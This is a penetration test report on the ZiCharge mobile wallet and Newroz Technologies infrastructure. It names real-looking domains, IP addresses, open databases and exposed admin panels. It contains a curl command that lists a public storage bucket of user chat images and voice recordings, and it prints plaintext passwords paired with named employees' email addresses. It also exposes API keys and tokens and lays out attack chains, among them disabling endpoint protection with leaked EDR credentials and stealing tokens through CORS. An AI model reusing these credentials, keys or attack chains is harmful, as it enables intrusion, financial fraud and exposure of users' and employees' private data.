# ZiCharge (com.newroztech.gamewallet) — Full Pentest Report
**Target:** ZiCharge v4.4.0 (build 61) by Newroz Technologies Limited
**Package:** com.newroztech.gamewallet
**Domains:** zicharge.com, newroztech.com, fast-pay.iq
**Date:** 2026-07-04
**Tester:** th3pro

---

## CRITICAL FINDINGS

### C1. SSL/TLS Certificate Validation Bypass in Production (CVSS 9.1)
**Location:** `smali_classes6/com/zichargewallet/service/network/ApiClient.smali`
- HostnameVerifier lambda returns `true` for ALL hostnames
- Custom X509TrustManager has EMPTY checkClientTrusted() and checkServerTrusted()
- This is in the PRODUCTION release build (FLAVOR="production", BUILD_TYPE="release")
- Enables complete MitM interception of ALL API traffic including:
  - Auth tokens (Bearer + bio_auth_token)
  - Financial transactions (send money, cash out, crypto)
  - PIN codes and passwords
  - KYC/identity data

### C2. Firebase Storage Bucket Publicly Readable — 51,000+ Files (CVSS 9.1)
**Bucket:** game-wallet-f3ee1.firebasestorage.app
**PoC:** `curl -sk "https://firebasestorage.googleapis.com/v0/b/game-wallet-f3ee1.firebasestorage.app/o?maxResults=1000"`
- **51,000+ files** publicly listed and downloadable (enumeration stopped at 51K)
- Directories: `chatImages/` (1000+ per page), `images/` (20+ per page), `recordings/` (voice recordings!)
- No authentication required
- Contains user support conversations with sensitive content (IDs, receipts, etc.)
- Voice recordings: 72KB+ m4a files — user voice messages
- Paginated with nextPageToken — full enumeration possible

### C3. 174 Leaked Credentials (CVSS 9.0)
**Sources:** DarkFlux breach database, stealer logs

**zicharge.com (56 breaches):**
- dealers.internal@zicharge.com — Intercom admin + Google account (multiple passwords)
- erbil.dealer1@zicharge.com — Intercom admin creds
- 40+ merchant/user plaintext passwords from stealer logs

**newroztech.com (18 breaches):**
- qa@newroztech.com — Password@100 / Password1000@ (staging systems)
- jewel@newroztech.com — Password@100 (staging-apartment.fast-pay.iq)
- kabbo@newroztech.com — Password100@ (tt.newroztech.com, core.cardselling.cash)
- abdulbasit@newroztech.com — fastpay@42591800 (Microsoft/Google)
- hridoy@newroztech.com — 123456 (dev admin panel)

**fast-pay.iq (100+ breaches):**
- mohammed.ismael@fast-pay.iq — SentinelOne EDR: 77Family$$@@##
- soran.zangana@fast-pay.iq — SentinelOne MSSP: Soran@123456 / Malik$PAY@
- botan.sami@fast-pay.iq — 20+ entries: MS365, VNC, Odoo, helpdesk admin
- lina.ahmed@fast-pay.iq — MS365: Ahmed23@i
- salman.babkr@fast-pay.iq — MS365/Odoo: Babakir1995$++
- hussam.abdulmhssin@fast-pay.iq — support.fast-pay.iq: SSss112233

### C4. GlobPay Admin Dashboard Open (CVSS 8.5)
**URL:** https://admin-globpay.newroztech.com
- React SPA (Jumbo Material template) fully accessible
- Title: "globPay - Admin Dashboard"
- Google Maps API key exposed in source: AIzaSyBgqAomc9Vukt12AV3tJLasBnNehSNKuOY
- No authentication wall visible (SPA loads fully)

### C5. Keycloak Dev Admin Console Exposed (CVSS 8.5)
**URL:** https://kc-dev.newroztech.com
- Returns "Keycloak Administration Console" title
- Master realm OIDC config fully accessible
- Supports password, client_credentials, device_code, token-exchange, CIBA grant types
- JWKS publicly accessible

### C6. Intercom API Key Hardcoded (CVSS 8.0)
**API Key:** android_sdk-5c51103f91bb23f189449d66e54622c84714d010
**App ID:** f0gpof0p
- Allows reading/writing customer conversations
- Combined with leaked dealers.internal@zicharge.com Intercom creds = full support access

### C7. Spring Boot Actuator Fully Exposed on Staging (CVSS 9.0)
**URL:** https://core-staging.zicharge.com/actuator
- 16 actuator endpoints exposed unauthenticated
- `/actuator/loggers` — **WRITABLE** (POST confirmed 204 response, changed log level)
- `/actuator/env` — All config property NAMES exposed (values sanitized)
  - Reveals: `spring.datasource.password`, `zicharge.fulgurpay.secret-key`, `zicharge.cashcard.kartat.password`
  - **`zicharge.application-constants.device-change-static-otp`** — static OTP exists!
  - `spring.security.user.name` + `spring.security.user.password` — default Spring creds
- `/actuator/mappings` — Complete API route map (100+ endpoints)
- `/actuator/logfile` — Application log file accessible
- `/actuator/threaddump` — JVM thread dump with stack traces
- `/actuator/beans` — Full class registry
- `/actuator/prometheus` — Pool: `ZiChargeStagingHikariPool`
- **Attack chain:** Enable DEBUG logging → capture creds/tokens in logs → exfil via /actuator/logfile

### C8. Production Actuator Partially Exposed (CVSS 7.5)
**URL:** https://core.zicharge.com/actuator
- `/actuator/health` — `{"status":"UP"}`
- `/actuator/metrics` — Full JVM/HTTP/DB metrics (ZiChargeProdHikari, 4 connections)
- `/actuator/prometheus` — Full Prometheus scrape (50.8GB disk, 41.9GB free)
- Leaks production infrastructure details

### C9. CORS Wildcard Reflecting Any Origin on GlobPay API (CVSS 8.5)
**URL:** https://api-globpay.newroztech.com
- `Access-Control-Allow-Origin: https://attacker.com` — reflects ANY origin
- `Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS`
- Affects ALL endpoints including `/api/v1/private/auth/signin` and private admin APIs
- **40+ admin API endpoints exposed in JS bundle:**
  - `/api/v1/private/admin/e-kyc`
  - `/api/v1/private/account/transfer-to-agent`
  - `/api/v1/private/agent/requests`
  - `/api/v1/private/dashboard/stats`
  - `/api/v1/private/document/`
  - `/api/v1/private/limit-restriction`
  - `/api/v1/private/mfs/`
  - `/api/v1/private/password/update`
- Malicious page can read authenticated admin responses cross-origin

### C10. CORS + Credentials on Keycloak Token Endpoint (CVSS 8.0)
**URL:** https://kc-dev.newroztech.com/realms/master/protocol/openid-connect/token
- `access-control-allow-origin: https://attacker.com` — reflects ANY origin
- `access-control-allow-credentials: true` — cookies included
- `access-control-allow-methods: POST, OPTIONS`
- Enables cross-origin token theft from authenticated Keycloak sessions

### C11. CORS + Credentials on Monitoring Service (CVSS 7.5)
**URL:** https://monitoring.newroztech.com
- `access-control-allow-origin: https://attacker.com` — reflects ANY origin
- `access-control-allow-credentials: true`
- OpenObserve v0.80.0-rc2 (build 2026-04-02, commit 3ba07a5f)
- Monitoring dashboard data readable from any malicious origin

### C12. OpenObserve /config Unauthenticated (CVSS 7.5)
**URL:** https://monitoring.newroztech.com/config
- Full system configuration exposed without authentication
- Instance ID: 7447574573999980544
- Internal URL leaked: `http://localhost:5080`
- Data retention: 50 days (extended: 3650)
- SSO disabled, RBAC disabled, native login enabled
- All FTS keys and secondary index fields exposed

### C13. MySQL/MariaDB Exposed to Internet (CVSS 9.0)
**92.205.4.63 (cPanel):** MariaDB 10.3.23 (EOL since May 2023) — port 3306 OPEN
**63.35.42.37 (staging):** MySQL 8.0.46 — port 3306 OPEN
- Both databases directly accessible from the internet
- Combined with leaked credentials = potential full database access
- Staging server also has Spring Boot on port 8080 (direct actuator access)

### C14. Laravel Nova Admin Staging — Debug Mode + 60 Resources (CVSS 8.5)
**URL:** https://staging.zicharge.com/manage/login
- Debug mode: TRUE
- 60 Nova resources enumerated in page source JSON:
  - users, customers, admins, transactions, vouchers, sold-vouchers
  - crypto-requests, payment-gateways, commissions
  - trade-ads, trade-orders, trade-reviews, dispute-requests
  - merchant-cash-out-requests, balance-transfers
  - manual-money-requests, permissions, roles, user-activity-logs
- Full resource metadata (URI keys, labels, searchability, authorization)

### C15. Swagger UI Accessible on Production (CVSS 7.5)
**URL:** https://core.zicharge.com/swagger-ui/ and /swagger-ui.html
- HTTP 200 — full API documentation on production
- Combined with 115 endpoints from actuator/mappings = complete API surface exposed

### C16. GlobPay API Verbose Stack Traces (CVSS 7.0)
**URL:** https://api-globpay.newroztech.com/api/v1/public/auth/signup
- Empty POST returns full Java stack trace:
  - `com.globpay.api.auth.validators.PA_DSS_SupportedValidator.java:14`
  - Spring Boot + Hibernate Validator + Jakarta Servlet + Apache Tomcat
  - NullPointerException with line numbers
- Reveals PA-DSS (Payment Application Data Security Standard) compliance layer

---

## HIGH FINDINGS

### H1. Dev Environment Fully Accessible (CVSS 7.5)
**URL:** https://dev.zicharge.com
- Full web portal with login page ("Welcome To ZiCharge")
- API version endpoint returns older config (android v17 vs prod v58)
- CSRF tokens visible
- DevCDN at devcdn.zicharge.com
- No IP restriction or VPN requirement

### H2. Dev Payment Endpoints Hardcoded in Production APK (CVSS 7.5)
**URLs in APK:**
- https://dev-apigw-personal.fast-pay.iq/api/v1/public/sdk/payment/initiation
- https://dev-apigw-personal.fast-pay.iq/api/v1/public/sdk/payment/pay
- https://dev-apigw-personal.fast-pay.iq/api/v1/public/sdk/payment/validate
- May allow testing payment flows against dev environment

### H3. DMARC Missing/Weak — Email Spoofing (CVSS 7.4)
- newroztech.com: `v=DMARC1; p=none;` (monitoring only, no enforcement)
- zicharge.com: NO DMARC record at all
- Both use Google Workspace (MX → aspmx.l.google.com)
- Enables spoofing support@zicharge.com, admin@newroztech.com etc.

### H4. Laravel Nova Admin Panel Exposed (CVSS 7.0)
**URL:** https://api.newroztech.com/login
- Laravel Nova admin panel with email/password login
- Server: nginx/1.18.0 (Ubuntu)
- XSRF-TOKEN and newroz_tech_session cookies set
- Logo says "FastPay" — shares backend with fast-pay.iq

### H5. New Relic Instrumentation Keys Exposed (CVSS 6.5)
**License Key:** NRJS-7cb0c24c0830b1afd2d
**Application ID:** 176629478
**Browser ID:** 176629504
- Exposed in ALL 404 error pages on secure.zicharge.com
- Could be used for unauthorized telemetry injection or data harvesting

### H6. Pusher Real-time Events (CVSS 6.5)
**Key:** 22dd66988ffffac17a2d
**Cluster:** eu
**Event:** FulgurTransaction, OrderStateEvent
- Attacker can subscribe to public channels
- Observe real-time trade/order state transitions
- Monitor financial activity

### H7. Lokalise SDK Token Exposed (CVSS 6.0)
**Token:** ce589050499cc11476ef9e2a796b6942dc6e0949
**Project ID:** 43629408613d9e0258b9f1.34410295
- OTA translation management
- Could be used to inject malicious translations

### H8. Auth Token Storage in SharedPreferences (CVSS 6.0)
- auth_token, bio_auth_token, device_imei stored in SharedPreferences
- On rooted devices: direct token theft
- Combined with disabled SSL validation: MitM + token replay

---

## MEDIUM FINDINGS

### M1. 80+ Newroztech.com Subdomains Exposed (CVSS 5.5)
Key subdomains with DNS resolution:
- gitlab.newroztech.com (54.254.5.202) — GitLab
- keycloak.newroztech.com (54.169.161.194) — Keycloak
- airbyte.newroztech.com (63.178.122.160) — Data pipeline
- registry.newroztech.com (13.126.128.161) — Docker Registry
- monitoring.newroztech.com (54.72.85.180) — Monitoring
- devops.newroztech.com (54.254.205.171) — DevOps
- Multiple product lines: Loto, GlobPay, Kartat, Finexpense, DataDock, TraveliAI

### M2. Configuration Disclosure via Version Endpoint (CVSS 5.3)
**URL:** https://secure.zicharge.com/api/v2/version
**Response:**
```json
{
  "android": "58",
  "ios": "4.3.1",
  "recaptcha_enable": true,
  "sms-service": {"android": "sms-gateway", "ios": "sms-gateway"},
  "topup": {"is_wallet_enable": false},
  "send": {"is_fastpay_enable": false, "is_zaincash_enable": false, ...},
  "dashboard_menu": {"gaming_card": false},
  "fcm_channels": {"android": ["prod-notification-personal-android", ...]}
}
```

### M3. IDOR Candidates in API (CVSS 5.5)
- `trade/superuser/profile/{mobileNo}` — phone number as path parameter
- `v1/customer/profile/{mobileNo}` — same on Super API
- `trade/order/{orderId}` — sequential order IDs
- `trade/dispute/details/{disputeId}` — dispute details by ID

### M4. BabylonBet Gambling Support Linked (CVSS 5.0)
**URL:** babylonsupport1.web.app
- "BabylonBet Support" page
- Same Firebase project context as ZiCharge
- Links ZiCharge financial platform to gambling operations

### M5. Deep Link Scheme — Intent Hijacking (CVSS 5.0)
**Scheme:** zcp://zicharge.com/
**Deep links:**
- zcp://zicharge.com/menu_crypto_cash_in
- zcp://zicharge.com/menu_manual_cash_in
- zcp://zicharge.com/menu_zigift_cash_in
- zcp://zicharge.com/menu_crypto_cash_out
- zcp://zicharge.com/menu_manual_cash_out
- zcp://zicharge.com/menu_wallet_cash_out
- Malicious app could register same scheme and intercept

### M6. Second Firebase Hosting — ZiDesk (CVSS 4.5)
**URL:** zidesk-9d5f0.web.app
- Embedded support chat widget
- Hardcoded in LiveChatActivity.smali

### M7. Staging Core API Accessible (CVSS 5.0)
**URL:** https://core-staging.zicharge.com
- Returns auth-required JSON but is reachable
- No IP restriction

### H9. PHP 7.1.33 (EOL) on Dev Environment (CVSS 6.5)
**URL:** https://dev.zicharge.com
- X-Powered-By: PHP/7.1.33
- End of Life since December 2019 — no security patches for 7+ years
- Laravel framework on unsupported PHP runtime

### H10. Jenkins CI/CD Exposed (CVSS 7.0)
**URL:** jenkins.zicharge.com
- Discovered via subfinder
- CI/CD pipeline potentially accessible

### H11. WHM/cPanel Admin Exposed (CVSS 7.0)
**URLs:** whm.zicharge.com, cpanel.zicharge.com
- Both resolve to 92.205.4.63
- Web Host Manager = full server admin
- admin.zicharge.com also discovered (with webdisk.admin.zicharge.com and www.admin.zicharge.com)

### H12. FTP Open on Multiple Servers (CVSS 6.5)
- 92.205.4.63 (cPanel): Pure-FTPd on port 21
- 63.35.42.37 (staging): FTP on port 21
- 52.16.88.145 (dev-super-apigw): FTP on port 21
- 18.200.216.243 (dev): FTP on port 21
- 54.73.123.66 (secure-super-apigw): FTP on port 21
- 63.33.150.56 (Jenkins): FTP on port 21

### H13. Jenkins CI/CD Login Exposed (CVSS 7.0)
**URL:** https://jenkins.zicharge.com/login (also port 8080)
**IP:** 63.33.150.56
- OpenSSH 7.4 (old)
- rpcbind exposed on port 111
- Login page accessible

### H14. onlinecards.zicharge.com — GiftCardShop App (CVSS 6.0)
**URL:** https://onlinecards.zicharge.com
- Laravel app with Livewire
- PHP 7.4.33 on cPanel
- Separate gift card selling platform

### H15. Additional Staging Portals Exposed (CVSS 6.5)
- staging-merchant.zicharge.com (63.35.42.37) — merchant portal staging
- staging-manage.zicharge.com (63.35.42.37) — management portal staging
- Both publicly accessible without VPN

### H16. VPN Installation Guide PDF Publicly Accessible (CVSS 6.5)
**URL:** https://dev.zicharge.com/assets/files/VPN%20Installation%20Guide.pdf
- WireGuard VPN for merchant panel access
- Internal IP range: 10.100.0.x/32
- DNS server: 192.168.44.2
- Public key prefix exposed
- Merchant panel (merchant.zicharge.com) requires VPN

### H13. Staging Merchant Payment Endpoints Accept Input Without Auth (CVSS 7.0)
- `POST /api/v3/merchant/generate-payment-token` — returns validation errors (accepts input)
- `POST /api/v3/merchant/payment/direct` — same
- `POST /api/v3/merchant/test/ipn-echo` — echoes arbitrary input (staging only)
- reCAPTCHA disabled on staging

### H14. Static OTP for Device Changes (CVSS 7.5)
- Config key `zicharge.application-constants.device-change-static-otp` discovered
- Companion key `device-change-static-otp-mobile` — specific mobile number
- Static OTP = bypass mechanism that never changes

### H16. GlobPay Open Agent Registration (CVSS 6.5)
**URL:** https://api-globpay.newroztech.com/api/v1/public/agent/request
- Accepts registration submissions without pre-approval
- Combined with CORS wildcard = automated agent creation from malicious origin

### H17. 66+ GlobPay API Endpoints in Client-Side JS (CVSS 6.0)
- Admin JS bundle (845KB) + Web bundle (1.37MB) expose full API surface
- Includes admin KYC management, transfer endpoints, agent approval/denial
- Token exchange endpoint available publicly
- Public banks list returns 60+ Bangladeshi banks with UUIDs

### H18. No SPF Record — Full Email Spoofing (CVSS 7.4)
- zicharge.com has NO SPF record at all
- Combined with NO DMARC and NO DKIM
- Uses Google Workspace MX but ZERO email authentication
- Any sender can spoof @zicharge.com with no checks

---

## MEDIUM FINDINGS (continued)

### M8. Internal ALB + Private IPs Leaked in DNS (CVSS 5.5)
**Subdomains:** manage.zicharge.com, merchant.zicharge.com
- CNAME: internal-zicharge-private-alb-1801103170.eu-west-1.elb.amazonaws.com
- Private IPs exposed: 192.168.44.42, 192.168.44.59
- Internal ALB name reveals AWS account structure

### M9. User Enumeration via Password Reset (CVSS 5.3)
- `POST /api/v3/password/reset/check-mobile-no` returns "User not found" for non-existent
- Enables enumeration of valid phone numbers

### M10. Full Iraqi City List Without Auth (CVSS 4.0)
- `POST /api/v3/cities` returns all 71 Iraqi cities without authentication
- Information disclosure

### M11. Agent API Gateways Discovered (CVSS 5.0)
- agent-apigw.zicharge.com — production agent API gateway
- dev-agent-apigw.zicharge.com — development agent API gateway
- dev-consumer.zicharge.com — dev consumer application

---

## LOW FINDINGS

### L1. Server Header Disclosure
- nginx/1.18.0 (Ubuntu) on api.newroztech.com

### L2. Google API Key Exposed (Restricted)
- AIzaSyC-jR4EEbWH7le_2cvg_JUpyYhhfpGFczU — REQUEST_DENIED for geocoding
- AIzaSyBgqAomc9Vukt12AV3tJLasBnNehSNKuOY — GlobPay admin (REQUEST_DENIED)

### L3. Excessive Android Permissions
- READ_PRIVILEGED_PHONE_STATE
- RECORD_AUDIO
- READ_PHONE_STATE

### L4. AppCenter Key Exposed
- 62a7a7a7-5a1f-4e4f-aae1-7b7a88a23a08

### L5. Git Revision Exposed
- a5f619ea49131e4f6d511e822994f76393ebaaf6

### L6. Wildcard Certificate
- *.zicharge.com — covers all subdomains

### L7. DeviceID Header Typo
- Sent as "DevideID" instead of "DeviceID" — indicates code review gaps

---

## INFRASTRUCTURE MAP

### zicharge.com
| Subdomain | IP/CNAME | Service |
|-----------|----------|---------|
| zicharge.com | 92.205.4.63 | Main site |
| secure.zicharge.com | ALB eu-west-1 | Production API |
| core.zicharge.com | ALB eu-west-1 | Core API |
| cdn.zicharge.com | CloudFront | CDN |
| dev.zicharge.com | 18.200.216.243 | Dev portal |
| dev-super-apigw.zicharge.com | 52.16.88.145 | Dev Super API |
| secure-super-apigw.zicharge.com | 54.73.123.66 | Prod Super API |
| core-staging.zicharge.com | 63.35.42.37 | Staging Core |
| staging.zicharge.com | 63.35.42.37 | Staging portal |
| apigw.zicharge.com | API Gateway | API Gateway |

### newroztech.com
| Subdomain | IP | Service |
|-----------|-----|---------|
| api.newroztech.com | 15.206.146.189 | Laravel Nova Admin |
| gitlab.newroztech.com | 54.254.5.202 | GitLab |
| keycloak.newroztech.com | 54.169.161.194 | Keycloak |
| kc-dev.newroztech.com | 13.251.15.112 | Keycloak Dev |
| airbyte.newroztech.com | 63.178.122.160 | Data Pipeline |
| registry.newroztech.com | 13.126.128.161 | Docker Registry |
| admin-globpay.newroztech.com | 15.207.24.243 | GlobPay Admin |
| api-globpay.newroztech.com | 15.207.24.243 | GlobPay API |
| monitoring.newroztech.com | 54.72.85.180 | Monitoring |
| support.newroztech.com | 18.197.47.210 | cPanel Support |

### API Endpoints (95+ total)
- secure.zicharge.com/api/v2/ — 55+ endpoints
- secure-super-apigw.zicharge.com/api/v1/ — 40 endpoints
- FastPay SDK — 6 endpoints

---

## PHASE 1 SUBTOTAL
| Severity | Count |
|----------|-------|
| Critical | 16 |
| High | 18 |
| Medium | 11 |
| Low | 7 |
| **Subtotal** | **52** |

## KEY ATTACK CHAINS

**Chain 1: Full MitM → Account Takeover**
SSL validation bypassed in production → intercept Bearer tokens → replay → full ATO

**Chain 2: Staging Actuator → Credential Theft**
/actuator/loggers writable → enable DEBUG → creds logged → /actuator/logfile → exfil

**Chain 3: CORS → Admin Takeover (GlobPay)**
CORS reflects any origin on API → malicious page reads admin session → full admin access

**Chain 4: Leaked Creds → Corporate Compromise**
174 leaked creds → SentinelOne EDR (soran.zangana) → disable endpoint protection → lateral

**Chain 5: Firebase → Mass User PII**
game-wallet-f3ee1.firebasestorage.app → 30K+ user images → ID documents, receipts

**Chain 6: Keycloak CORS → Token Theft**
kc-dev CORS + credentials on token endpoint → cross-origin session steal → impersonate any user

---

## SHODAN DEEP SCAN — 2026-07-04

### Per-IP Results

#### 92.205.4.63 — zicharge.com main (cPanel/WHM)
- **Org:** Host Europe GmbH
- **Ports:** 80, 110, 443, 2077
- **Vulns:** None reported
- Port 80/tcp — Apache httpd (Title: "One moment, please...")
- Port 110/tcp — POP3 (SSL CN: *.prod.sxb1.secureserver.net) — **shared hosting indicator**
- Port 443/tcp — Apache httpd (Title: "One moment, please...") (SSL CN: *.dalkurd.se) — **wrong cert! shared IP**
- Port 2077/tcp — cPanel WebDAV port exposed
- **NOTE:** SSL CN mismatch (*.dalkurd.se) confirms shared hosting — another customer's cert served

#### 18.200.216.243 — dev.zicharge.com
- **Org:** Amazon Data Services Ireland Limited
- **OS:** Ubuntu
- **Ports:** 80, 443
- **Vulns (12 CVEs):**
  - CVE-2023-44487 — HTTP/2 Rapid Reset DoS
  - CVE-2026-49975 — (recent, unpatched)
  - CVE-2022-31628 — PHP phar path traversal
  - CVE-2022-31629 — PHP cookie injection
  - CVE-2024-25117 — PHP vulnerability
  - CVE-2017-8923 — PHP zend_string_extend heap overflow
  - CVE-2020-11579 — ESET NOD32 information disclosure
  - CVE-2025-23419 — nginx TLS session ticket reuse
  - CVE-2013-2220 — libdbus-glib buffer overflow
  - CVE-2022-4900 — PHP vulnerability
  - CVE-2007-3205 — (legacy)
  - CVE-2024-3566 — (recent)
- Port 80/tcp — nginx 1.24.0 (Title: "Welcome to nginx!")
- Port 443/tcp — nginx 1.24.0 (Title: "Welcome To ZiCharge") (SSL CN: *.zicharge.com)
- **CRITICAL: PHP CVEs confirm EOL PHP 7.1.33 with multiple exploitable vulns**

#### 52.16.88.145 — dev-super-apigw.zicharge.com
- **Org:** Amazon Data Services Ireland Limited
- **Ports:** 80
- **Vulns:** CVE-2023-44487, CVE-2025-23419
- Port 80/tcp — nginx 1.24.0 (Title: "301 Moved Permanently")

#### 54.73.123.66 — secure-super-apigw.zicharge.com
- **Org:** Amazon.com, Inc.
- **Ports:** 80, 443
- **Vulns:** CVE-2023-44487, CVE-2025-23419
- Port 80/tcp — nginx 1.24.0 (Title: "301 Moved Permanently")
- Port 443/tcp — nginx 1.24.0 (Title: "Super ZiCharge") (SSL CN: *.zicharge.com)

#### 63.35.42.37 — core-staging + staging.zicharge.com
- **Org:** Amazon Data Services Ireland Limited
- **Ports:** 80, 443
- **Vulns:** None reported
- Port 80/tcp — nginx 1.28.0 (Title: "301 Moved Permanently")
- Port 443/tcp — nginx 1.28.0 (SSL CN: *.zicharge.com)
- **Note:** Newest nginx (1.28.0) — recently deployed staging

#### 15.206.146.189 — api.newroztech.com (Laravel Nova)
- **Org:** Amazon Data Services India
- **OS:** Ubuntu
- **Ports:** 80
- **Vulns (4 CVEs):**
  - CVE-2023-44487 — HTTP/2 Rapid Reset DoS
  - CVE-2025-23419 — nginx TLS session ticket reuse
  - CVE-2021-23017 — nginx DNS resolver heap buffer overflow (CRITICAL — RCE potential)
  - CVE-2021-3618 — ALPACA cross-protocol TLS attack
- Port 80/tcp — nginx 1.18.0 (Title: "404 Not Found")
- **CRITICAL: nginx 1.18.0 is severely outdated (2020), CVE-2021-23017 enables RCE via DNS resolver**

#### 54.254.5.202 — gitlab.newroztech.com
- **No Shodan data** — not recently scanned or behind restrictive firewall

#### 54.169.161.194 — keycloak.newroztech.com
- **No Shodan data** — not recently scanned or behind restrictive firewall

#### 13.251.15.112 — kc-dev.newroztech.com
- **Org:** Amazon Data Services Singapore
- **Ports:** 443
- **Vulns:** None reported
- Port 443/tcp — AWS ELB 2.0 (SSL CN: *.newroztech.com)

#### 63.178.122.160 — airbyte.newroztech.com
- **No Shodan data**

#### 13.126.128.161 — registry.newroztech.com (Docker)
- **No Shodan data**

#### 15.207.24.243 — admin-globpay/api-globpay.newroztech.com
- **Org:** Amazon Data Services India
- **Ports:** 80, 443
- **Vulns:** CVE-2026-49975
- Port 80/tcp — nginx 1.28.0 (Title: "404 Not Found")
- Port 443/tcp — nginx 1.28.0 (Title: "globPay - Admin Dashboard") (SSL CN: web-globpay.newroztech.com)
- **Note:** SSL CN reveals additional hostname: web-globpay.newroztech.com

#### 54.72.85.180 — monitoring.newroztech.com
- **Org:** Amazon.com, Inc.
- **Ports:** 80
- **Vulns:** None reported
- Port 80/tcp — AWS ELB 2.0

#### 54.254.205.171 — devops.newroztech.com
- **No Shodan data**

#### 18.142.72.246 — hrm.newroztech.com
- **Org:** Amazon Data Services Singapore
- **Ports:** 443
- **Vulns (3 CVEs):**
  - CVE-2023-44487 — HTTP/2 Rapid Reset DoS
  - CVE-2025-23419 — nginx TLS session ticket reuse
  - CVE-2021-3618 — ALPACA cross-protocol TLS attack
- Port 443/tcp — nginx 1.20.1 (SSL CN: *.newroztech.com)
- **Note:** nginx 1.20.1 is outdated (2021)

#### 18.197.47.210 — support.newroztech.com
- **No Shodan data**

---

### SSL Certificate Search Results

#### ssl.cert.subject.CN:zicharge.com (10 matches)
| IP | Port | Product | Title |
|----|------|---------|-------|
| 3.252.207.67 | 443 | — | 502 Bad Gateway |
| 54.73.123.66 | 443 | nginx | Super ZiCharge |
| 54.77.174.126 | 443 | nginx | Welcome To ZiCharge |
| 54.72.138.34 | 443 | nginx | Welcome To ZiCharge |
| 54.216.210.242 | 443 | nginx | Welcome To ZiCharge |
| **63.33.150.56** | **443** | **Jenkins** | — |
| 18.200.216.243 | 443 | nginx | Welcome To ZiCharge |
| 63.35.87.134 | 443 | nginx | Welcome To ZiCharge |
| 63.35.42.37 | 443 | nginx | — |
| 54.194.88.154 | 443 | nginx | Welcome To ZiCharge |

**NEW FINDING: Jenkins CI/CD at 63.33.150.56:443** — uses zicharge.com wildcard cert, AWS Ireland

#### ssl.cert.subject.CN:newroztech.com (22 matches)
| IP | Port | Product | Title |
|----|------|---------|-------|
| 18.142.72.246 | 443 | nginx | — |
| 52.221.118.0 | 443 | AWS ELB | — |
| 13.251.15.112 | 443 | AWS ELB | — |
| **18.170.73.221** | **443** | **nginx** | **FinExpenses** |
| 52.74.5.228 | 443 | nginx | — |
| 52.76.253.33 | 443 | nginx | — |
| 13.250.215.64 | 443 | AWS ELB | — |
| 15.207.24.243 | 443 | nginx | globPay - Admin Dashboard |
| 13.251.94.20 | 443 | AWS ELB | — |
| 18.139.168.37 | 443 | nginx | — |
| 52.74.132.10 | 443 | AWS ELB | — |
| 13.213.115.198 | 443 | nginx | — |
| 18.141.62.205 | 443 | AWS ELB | — |
| 52.220.235.68 | 443 | nginx | — |
| 56.10.56.51 | 443 | AWS ELB | — |
| 3.0.60.44 | 443 | AWS ELB | — |
| 52.74.220.91 | 443 | AWS ELB | — |
| 13.250.238.167 | 443 | nginx | — |
| **3.109.99.118** | **443** | **nginx** | — |
| 18.138.105.53 | 443 | AWS ELB | — |
| 18.140.213.112 | 443 | AWS ELB | — |

**NEW FINDINGS:**
- **FinExpenses at 18.170.73.221** — AWS London, internal financial tool
- **3.109.99.118** — AWS Mumbai, unknown service (nginx)
- 22 total IPs across Singapore, Mumbai, London, Ireland

#### ssl.cert.subject.CN:fast-pay.iq (4 matches)
| IP | Port | Product | Title |
|----|------|---------|-------|
| 13.201.115.174 | 443 | nginx | Download FastPay |
| 130.193.165.212 | 443 | — | The URL you requested has been blocked |
| 130.193.165.225 | 443 | — | The URL you requested has been blocked |
| **52.31.206.172** | **443** | **nginx** | **SonarQube** |

**NEW FINDING: SonarQube at 52.31.206.172:443** — source code analysis platform exposed, AWS Ireland

#### org:"Newroz Telecom" (14 matches — ISP backbone)
| IP | Port | Product | Notes |
|----|------|---------|-------|
| 93.91.200.200 | 53 | DNS | — |
| 93.91.200.165 | 179 | BGP | BGP routing |
| 93.91.200.107 | 123 | ntpd | NTP |
| 93.91.200.165 | 161 | SNMP | **SNMP exposed** |
| 93.91.200.108 | 123 | ntpd | NTP |
| 93.91.200.107 | 161 | ciscoSystems | **Cisco SNMP** |
| 93.91.200.108 | 161 | ciscoSystems | **Cisco SNMP** |
| 93.91.200.22 | 22 | SSH | — |
| **130.193.144.2** | **5985** | **WinRM** | **Windows Remote Management** |
| 93.91.200.230 | 80 | HTTP | Object moved permanently |
| **130.193.144.2** | **445** | **SMB** | **File sharing** |
| 93.91.200.230 | 443 | HTTPS | — |
| 93.91.200.194 | 10443 | — | Custom port |
| **130.193.144.2** | **135** | **MS RPC** | **RPC Endpoint Mapper** |

**CRITICAL BACKBONE FINDINGS:**
- **130.193.144.2** — Windows server with WinRM (5985) + SMB (445) + RPC (135) all exposed
- **93.91.200.107 + .108** — Cisco devices with SNMP exposed (community string brute-force possible)
- **93.91.200.165** — BGP (179) + SNMP (161) — routing infrastructure exposed

#### ssl.cert.subject.CN:gamewallet — 0 results

---

### Shodan Scan Summary — New Findings

| # | Finding | IP | Severity |
|---|---------|-----|----------|
| S1 | Jenkins CI/CD exposed | 63.33.150.56:443 | Critical |
| S2 | SonarQube source analysis exposed | 52.31.206.172:443 | Critical |
| S3 | Windows WinRM+SMB+RPC exposed (Newroz backbone) | 130.193.144.2 | Critical |
| S4 | Cisco SNMP exposed x2 (backbone routers) | 93.91.200.107/.108 | High |
| S5 | FinExpenses internal financial app | 18.170.73.221:443 | High |
| S6 | BGP + SNMP on routing device | 93.91.200.165 | High |
| S7 | nginx 1.18.0 CVE-2021-23017 RCE (api.newroztech.com) | 15.206.146.189 | High |
| S8 | 12 CVEs on dev.zicharge.com (PHP + nginx) | 18.200.216.243 | High |
| S9 | SSL CN mismatch — shared hosting (*.dalkurd.se) | 92.205.4.63 | Medium |
| S10 | cPanel WebDAV port 2077 exposed | 92.205.4.63 | Medium |
| S11 | POP3 port 110 with wrong cert | 92.205.4.63 | Medium |
| S12 | web-globpay.newroztech.com new hostname via SSL CN | 15.207.24.243 | Info |
| S13 | 22 IPs across 4 AWS regions via newroztech.com cert | Multiple | Info |
| S14 | Unknown nginx service at 3.109.99.118 (Mumbai) | 3.109.99.118 | Info |

### nginx Version Map
| IP | Service | nginx Version | CVE Count |
|----|---------|--------------|-----------|
| 15.206.146.189 | api.newroztech.com | 1.18.0 | 4 (incl RCE) |
| 18.142.72.246 | hrm.newroztech.com | 1.20.1 | 3 |
| 18.200.216.243 | dev.zicharge.com | 1.24.0 | 12 |
| 52.16.88.145 | dev-super-apigw | 1.24.0 | 2 |
| 54.73.123.66 | secure-super-apigw | 1.24.0 | 2 |
| 63.35.42.37 | staging | 1.28.0 | 0 |
